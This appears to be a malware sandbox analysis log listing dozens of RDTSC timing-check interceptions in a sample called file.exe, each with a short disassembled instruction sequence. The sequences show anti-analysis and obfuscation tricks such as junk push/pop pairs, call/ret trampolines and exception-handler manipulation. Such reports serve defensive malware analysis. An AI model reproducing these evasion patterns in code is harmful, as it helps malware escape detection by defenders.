Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD319 second address: EAD31F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD09F second address: EAD0A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD31F second address: EAD3C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F3F0D2D4AB6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F3F0D2D4AC4h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F3F0D2D4AB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov si, 9656h 0x00000031 jmp 00007F3F0D2D4AC5h 0x00000036 push 00000000h 0x00000038 add dword ptr [ebp+12456D82h], ebx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F3F0D2D4AB8h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000014h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a xchg eax, ebx 0x0000005b jmp 00007F3F0D2D4AC4h 0x00000060 push eax 0x00000061 je 00007F3F0D2D4AC4h 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3C0 second address: EAD3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADD9C second address: EADDAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3F0D2D4ABCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADB4C second address: EADB52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADDAA second address: EADE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F3F0D2D4ABEh 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F3F0D2D4AB8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push esi 0x00000027 pop esi 0x00000028 mov edi, dword ptr [ebp+122D292Ch] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F3F0D2D4AB8h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a xor dword ptr [ebp+1245FE14h], eax 0x00000050 push 00000000h 0x00000052 xchg eax, ebx 0x00000053 jo 00007F3F0D2D4AC0h 0x00000059 push eax 0x0000005a push edx 0x0000005b push edi 0x0000005c pop edi 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE948 second address: EAE958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F3F0C7D6236h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE6A5 second address: EAE6BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE958 second address: EAE95C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE95C second address: EAE9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F0D2D4ABAh 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F3F0D2D4AB8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov esi, dword ptr [ebp+122D29C4h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F3F0D2D4AB8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jo 00007F3F0D2D4ABCh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE9BE second address: EAE9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFE8F second address: EAFE93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3306 second address: EB3333 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F3F0C7D6236h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F3F0C7D6236h 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3F0C7D6245h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB71E1 second address: EB7203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F0D2D4ABDh 0x0000000c jmp 00007F3F0D2D4ABEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7203 second address: EB7207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7207 second address: EB720D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3B5 second address: E6F3C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB83F2 second address: EB83F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB83F7 second address: EB83FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB83FD second address: EB840B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB840B second address: EB8414 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8414 second address: EB841A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB946B second address: EB94F0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0C7D623Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F3F0C7D6238h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 cmc 0x00000028 push 00000000h 0x0000002a movzx edi, cx 0x0000002d jmp 00007F3F0C7D6244h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F3F0C7D6238h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D240Fh], esi 0x00000054 mov dword ptr [ebp+1249666Ch], edi 0x0000005a push eax 0x0000005b push eax 0x0000005c pushad 0x0000005d push edx 0x0000005e pop edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9648 second address: EB964E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA755 second address: EBA759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB964E second address: EB9652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA759 second address: EBA75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9652 second address: EB96F6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F3F0D2D4AB8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 movsx edi, cx 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F3F0D2D4AB8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b push esi 0x0000004c pop edi 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 mov ebx, 0A2C22CAh 0x00000059 mov eax, dword ptr [ebp+122D0E5Dh] 0x0000005f push ecx 0x00000060 xor dword ptr [ebp+122D1C14h], ebx 0x00000066 pop edi 0x00000067 push FFFFFFFFh 0x00000069 mov ebx, dword ptr [ebp+122D1B9Eh] 0x0000006f mov edi, dword ptr [ebp+122D1B98h] 0x00000075 nop 0x00000076 jmp 00007F3F0D2D4AC3h 0x0000007b push eax 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jng 00007F3F0D2D4AB6h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA75F second address: EBA780 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3F0C7D623Eh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnc 00007F3F0C7D6236h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD612 second address: EBD6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F3F0D2D4AB8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D1EB6h], edx 0x0000002a jmp 00007F3F0D2D4ABBh 0x0000002f popad 0x00000030 push 00000000h 0x00000032 cmc 0x00000033 sub ebx, dword ptr [ebp+122D2ED0h] 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F3F0D2D4AB8h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 0000001Ch 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 jmp 00007F3F0D2D4AC4h 0x0000005a xchg eax, esi 0x0000005b jmp 00007F3F0D2D4AC6h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F3F0D2D4AC1h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE7C9 second address: EBE7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3F0C7D6236h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE7D8 second address: EBE7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF74A second address: EBF74F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE983 second address: EBE989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC06A0 second address: EC06A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1763 second address: EC177B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F0D2D4AB6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jns 00007F3F0D2D4AB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC177B second address: EC1780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC29B7 second address: EC29C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3F0D2D4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC29C1 second address: EC2A44 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F0C7D6236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F3F0C7D6238h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+1245D688h] 0x0000002d xor dword ptr [ebp+122D24B7h], edx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F3F0C7D6238h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f jmp 00007F3F0C7D6249h 0x00000054 push 00000000h 0x00000056 pushad 0x00000057 xor ebx, dword ptr [ebp+1246F65Ah] 0x0000005d movsx ecx, si 0x00000060 popad 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A44 second address: EC2A4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A4A second address: EC2A67 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F0C7D623Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jng 00007F3F0C7D6236h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2A67 second address: EC2A6C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC39DC second address: EC39E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC39E2 second address: EC3A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d push 00000000h 0x0000000f call 00007F3F0D2D4AC0h 0x00000014 mov dword ptr [ebp+1245D6DBh], edx 0x0000001a pop ebx 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D1B8Eh], ebx 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 push ecx 0x00000026 jmp 00007F3F0D2D4ABFh 0x0000002b pop ecx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3A28 second address: EC3A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F3F0C7D6238h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4A69 second address: EC4A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4A6D second address: EC4AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D356Dh], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 jmp 00007F3F0C7D6249h 0x00000019 push eax 0x0000001a push ecx 0x0000001b jng 00007F3F0C7D623Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3BA8 second address: EC3BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3C7D second address: EC3C99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3F0C7D6243h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5AB1 second address: EC5AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5AB6 second address: EC5AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3F0C7D6236h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sub ebx, dword ptr [ebp+122D17A6h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F3F0C7D6238h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov bx, FF2Bh 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+1245B34Bh], edi 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5AFF second address: EC5B09 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4CD1 second address: EC4CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6A97 second address: EC6B1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 mov edi, 226E99CDh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F3F0D2D4AB8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F3F0D2D4AB8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+1245D1A8h] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007F3F0D2D4AC0h 0x0000005d jc 00007F3F0D2D4AB6h 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5C6C second address: EC5C72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B1B second address: EC6B4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F0D2D4AC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B4D second address: EC6B52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5C72 second address: EC5CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 clc 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov edi, ecx 0x0000001f mov eax, dword ptr [ebp+122D0735h] 0x00000025 mov ebx, 025C865Ah 0x0000002a add dword ptr [ebp+122D36AEh], edi 0x00000030 push FFFFFFFFh 0x00000032 mov edi, 56AF35D7h 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a push edi 0x0000003b pushad 0x0000003c popad 0x0000003d pop edi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7B0C second address: EC7B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F3F0C7D6238h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 sbb bl, 00000024h 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D22CCh], edx 0x0000002f push edx 0x00000030 call 00007F3F0C7D6248h 0x00000035 pushad 0x00000036 popad 0x00000037 pop edi 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b jl 00007F3F0C7D623Ch 0x00000041 xchg eax, esi 0x00000042 jnl 00007F3F0C7D623Eh 0x00000048 push edi 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7B73 second address: EC7B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F3F0D2D4AC3h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6DB1 second address: EC6DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0C7D6240h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F3F0C7D6240h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7B90 second address: EC7B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
